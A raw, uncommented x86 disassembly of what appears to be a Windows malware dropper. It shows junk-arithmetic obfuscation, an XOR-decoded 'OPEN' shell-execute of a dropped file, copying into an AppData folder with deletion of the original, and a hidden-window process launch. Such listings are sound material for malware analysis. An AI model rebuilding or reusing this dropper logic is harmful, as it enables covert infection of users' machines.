mov ecx, dword [ebp - 0xdbc]
add ecx, 0xa06b
sar eax, cl
mov ecx, dword [ebp - 0xdbc]
sar eax, cl
mov dword [ebp - 0xdb8], eax
mov ecx, dword [ebp - 0xdbc]
add ecx, 0xf6c2
sub ecx, dword [ebp - 0xdc4]
mov dword [ebp - 0xdc0], ecx
mov ecx, dword [ebp - 0xdc4]
imul ecx, dword [ebp - 0xdc0]
imul ecx, dword [ebp - 0xdbc]
add ecx, dword [ebp - 0xdc0]
mov edx, 0x5985
sar edx, cl
mov dword [ebp - 0xdc0], edx
mov eax, dword [ebp - 0xdbc]
add eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xdbc], eax
mov ecx, dword [ebp - 0xdb8]
sub ecx, dword [ebp - 0xdc0]
sub ecx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdbc], ecx
jmp 0x40fafa
jmp 0x41038e
mov edx, dword [ebp - 0xdb8]
cmp edx, dword [0x433924]
jne 0x410252
mov eax, dword [ebp - 0xdc4]
cmp eax, dword [ebp - 0xdbc]
jl 0x410276
mov ecx, dword [ebp - 0xdc0]
cmp ecx, dword [ebp - 0xdc4]
jne 0x410343
mov edx, dword [ebp - 0xdc4]
cmp edx, dword [ebp - 0xdb8]
jle 0x410343
mov eax, dword [0x433a1c]
mov dword [ebp - 0xe10], eax
jmp 0x410292
mov ecx, dword [ebp - 0xe10]
sub ecx, 1
mov dword [ebp - 0xe10], ecx
mov edx, dword [ebp - 0xe10]
cmp edx, dword [ebp - 0xdc4]
jg 0x410341
mov ecx, dword [ebp - 0xdc0]
sub ecx, dword [ebp - 0xdc4]
add ecx, dword [ebp - 0xdb8]
mov eax, dword [ebp - 0xdb8]
cdq
mov esi, 0x166dd
idiv esi
add ecx, edx
mov dword [ebp - 0xdbc], ecx
mov eax, dword [ebp - 0xdc0]
cdq
idiv dword [ebp - 0xdbc]
mov eax, edx
cdq
mov ecx, 0x1637f
idiv ecx
add edx, dword [ebp - 0xdbc]
add edx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdc0], edx
mov eax, dword [ebp - 0xdb8]
cdq
idiv dword [ebp - 0xdb8]
mov ecx, dword [ebp - 0xdbc]
shl edx, cl
mov dword [ebp - 0xdbc], edx
mov ecx, dword [ebp - 0xdb8]
sub ecx, dword [ebp - 0xdc4]
add ecx, 0x58d4
sub ecx, dword [ebp - 0xdb8]
add ecx, dword [ebp - 0xdbc]
mov edx, dword [ebp - 0xdc4]
sar edx, cl
mov dword [ebp - 0xdc4], edx
jmp 0x410283
jmp 0x41037c
mov eax, dword [ebp - 0xdc4]
mov dword [ebp - 0xe30], eax
jmp 0x410360
mov ecx, dword [ebp - 0xe30]
sub ecx, 1
mov dword [ebp - 0xe30], ecx
mov edx, dword [ebp - 0xe30]
cmp edx, dword [0x433ab8]
jbe 0x41037c
mov eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xdc4], eax
jmp 0x410351
mov ecx, dword [ebp - 0xdc0]
cmp ecx, dword [0x433a20]
jge 0x410236
jmp 0x410498
mov edx, dword [ebp - 0xdc0]
cmp edx, dword [ebp - 0xdc4]
jne 0x410498
mov eax, dword [ebp - 0xdb8]
mov dword [ebp - 0xe20], eax
jmp 0x4103c2
mov ecx, dword [ebp - 0xe20]
add ecx, 1
mov dword [ebp - 0xe20], ecx
mov edx, dword [ebp - 0xe20]
cmp edx, dword [0x433a1c]
jbe 0x410498
mov eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xe0c], eax
jmp 0x4103f1
mov ecx, dword [ebp - 0xe0c]
sub ecx, 1
mov dword [ebp - 0xe0c], ecx
mov edx, dword [ebp - 0xe0c]
cmp edx, dword [0x43393c]
jae 0x410493
push str.lung_YeB_superiority_vexes_prospects_teSsJ9H
call fcn.004010e0
add esp, 4
mov eax, dword [ebp - 0xdc4]
add eax, 0x35e24d9e
mov dword [ebp - 0xdc4], eax
mov ecx, dword [ebp - 0xdb8]
imul ecx, dword [ebp - 0xdc4]
mov edx, 0x54c1ca79
sub edx, ecx
mov dword [0x4339a4], edx
mov eax, dword [ebp - 0xdbc]
imul eax, dword [ebp - 0xdc0]
imul eax, dword [ebp - 0xdbc]
add eax, dword [ebp - 0xdc0]
add eax, dword [ebp - 0xdc4]
mov dword [ebp - 0xdb8], eax
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdbc]
mov esi, eax
add esi, dword [ebp - 0xdb8]
mov eax, dword [ebp - 0xdbc]
cdq
mov ecx, 0x12e57
idiv ecx
mov ecx, eax
sar esi, cl
mov dword [ebp - 0xdbc], esi
jmp 0x4103e2
jmp 0x4103b3
mov edx, dword [ebp - 0xdc0]
cmp edx, dword [0x433a68]
ja 0x40f3a4
mov eax, dword [ebp - 0xe08]
add eax, 1
xor edx, edx
div dword [ebp - 0xdf8]
mov dword [ebp - 0xe08], edx
jmp 0x40f34e
mov dword [ebp - 0xd50], 0
push 0
lea eax, [ebp - 0xd50]
push eax
mov ecx, dword [ebp - 0xd4c]
push ecx
mov edx, dword [ebp - 0xdd4]
push edx
mov eax, dword [ebp - 0xe04]
push eax
call dword [0x4360f0]
test eax, eax
je 0x410506
mov ecx, dword [ebp - 0xd50]
cmp ecx, dword [ebp - 0xd4c]
je 0x410508
jmp 0x41050d
jmp 0x40f2f2
mov edx, dword [ebp - 0xdd4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0xe04]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xdc8]
push ecx
call dword [0x4360cc]
mov edx, dword [ebp - 0xdcc]
push edx
call dword [0x4360cc]
movzx eax, byte [ebp - 0xd41]
cmp eax, 2
jne 0x41076c
push str._Start
push 0x104
lea ecx, [ebp - 0x328]
push ecx
call fcn.0041d0bc
add esp, 0xc
xor edx, edx
mov byte [ebp - 0xdcd], dl
xor eax, eax
mov byte [ebp - 0xdf9], al
lea ecx, [ebp - 0xeac]
push ecx
lea ecx, [ebp - 0xdcd]
call fcn.004109d0
mov dword [ebp - 0xddc], eax
mov dword [ebp - 0xdd8], 0
jmp 0x4105b6
mov edx, dword [ebp - 0xdd8]
add edx, 1
mov dword [ebp - 0xdd8], edx
cmp dword [ebp - 0xdd8], 0xc
jae 0x410618
mov eax, dword [ebp - 0xdd8]
mov ecx, dword [ebp - 0xddc]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0xe58], edx
mov eax, dword [ebp - 0xe58]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xddc]
movsx eax, byte [edx]
xor ecx, eax
mov word [ebp - 0xdfe], cx
mov ecx, dword [ebp - 0xdd8]
mov edx, dword [ebp - 0xddc]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0xe60], eax
mov ecx, dword [ebp - 0xe60]
mov dx, word [ebp - 0xdfe]
mov word [ecx], dx
jmp 0x4105a7
mov eax, 0xc
shl eax, 1
mov ecx, dword [ebp - 0xddc]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0xe48], edx
xor eax, eax
mov ecx, dword [ebp - 0xe48]
mov word [ecx], ax
mov edx, dword [ebp - 0xddc]
add edx, 2
mov dword [ebp - 0xe5c], edx
mov byte [ebp - 0xe2c], 0x49
xor eax, eax
mov byte [ebp - 0xe2b], al
mov ecx, 6
mov word [ebp - 0xe2a], cx
mov edx, 0x19
mov word [ebp - 0xe28], dx
mov eax, 0xc
mov word [ebp - 0xe26], ax
mov ecx, 7
mov word [ebp - 0xe24], cx
xor edx, edx
mov word [ebp - 0xe22], dx
mov dword [ebp - 0xde0], 0
jmp 0x4106ac
mov eax, dword [ebp - 0xde0]
add eax, 1
mov dword [ebp - 0xde0], eax
cmp dword [ebp - 0xde0], 4
jae 0x410706
mov ecx, dword [ebp - 0xde0]
lea edx, [ebp + ecx*2 - 0xe2a]
mov dword [ebp - 0xe4c], edx
mov eax, dword [ebp - 0xe4c]
movzx ecx, word [eax]
movsx edx, byte [ebp - 0xe2c]
xor ecx, edx
mov word [ebp - 0xe00], cx
mov eax, dword [ebp - 0xde0]
lea ecx, [ebp + eax*2 - 0xe2a]
mov dword [ebp - 0xe50], ecx
mov edx, dword [ebp - 0xe50]
mov ax, word [ebp - 0xe00]
mov word [edx], ax
jmp 0x41069d
mov ecx, 4
shl ecx, 1
lea edx, [ebp + ecx - 0xe2a]
mov dword [ebp - 0xe54], edx
xor eax, eax
mov ecx, dword [ebp - 0xe54]
mov word [ecx], ax
lea edx, [ebp - 0xe2a]
mov dword [ebp - 0xe70], edx
push 0
push 0
lea eax, [ebp - 0x328]
push eax
mov ecx, dword [ebp - 0xe5c]
push ecx
mov edx, dword [ebp - 0xe70]
push edx
call dword [sym.imp.USER32.dll_GetActiveWindow]
push eax
call dword [0x4360ec]
mov dword [ebp - 0xe78], eax
mov eax, 1
jmp 0x41094b
movzx eax, byte [ebp - 0xd41]
cmp eax, 0xd
jne 0x41082a
mov dword [ebp - 0xe7c], 0
lea ecx, [ebp - 0x530]
push ecx
push 1
push 0
push 0x1c
push 0
call dword [0x4360d8]
push 0x4304ec
push 0x104
lea edx, [ebp - 0x530]
push edx
call fcn.0041d0bc
add esp, 0xc
push 5
lea eax, [ebp - 0x10]
push eax
call fcn.0040e290
add esp, 8
lea ecx, [ebp - 0x10]
push ecx
push 0x104
lea edx, [ebp - 0x530]
push edx
call fcn.0041d0bc
add esp, 0xc
push 0
lea eax, [ebp - 0x530]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea ecx, [ebp - 0x530]
push ecx
lea edx, [ebp - 0x328]
push edx
call fcn.00411b20
add esp, 8
lea eax, [ebp - 0x530]
push eax
call fcn.00412140
add esp, 4
lea ecx, [ebp - 0x328]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
jmp 0x41094b
movzx edx, byte [ebp - 0xd41]
cmp edx, 8
jne 0x4108fd
push 0x44
push 0
lea eax, [ebp - 0xdb0]
push eax
call fcn.00416fd0
add esp, 0xc
mov dword [ebp - 0xdb0], 0x44
xor ecx, ecx
mov dword [ebp - 0xd6c], ecx
mov dword [ebp - 0xd68], ecx
mov dword [ebp - 0xd64], ecx
mov dword [ebp - 0xd60], ecx
push 4
push 0x23
push 0x4339a8
call fcn.0040b100
add esp, 0xc
mov dword [ebp - 0xe44], eax
mov edx, dword [ebp - 0xe44]
push edx
push 0x200
lea eax, [ebp - 0xd40]
push eax
call fcn.0041d0bc
add esp, 0xc
lea ecx, [ebp - 0x328]
push ecx
push 0x200
lea edx, [ebp - 0xd40]
push edx
call fcn.0041d0bc
add esp, 0xc
lea eax, [ebp - 0xd6c]
push eax
lea ecx, [ebp - 0xdb0]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea edx, [ebp - 0xd40]
push edx
push 0
call dword [0x4360dc]
test eax, eax
jne 0x4108f4
xor eax, eax
jmp 0x41094b
mov eax, 1
jmp 0x41094b
push 0
push 0
lea eax, [ebp - 0x328]
push eax
push 4
push 0xd
push 0x433ad0
call fcn.0040b100
add esp, 0xc
push eax
push 4
push 5
push 0x433a10
call fcn.0040b100
add esp, 0xc
push eax
call dword [sym.imp.USER32.dll_GetActiveWindow]
push eax
call dword [0x4360ec]
mov dword [ebp - 0xe80], eax
mov eax, 1
jmp 0x41094b
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004158ef
mov esp, ebp
pop ebp
ret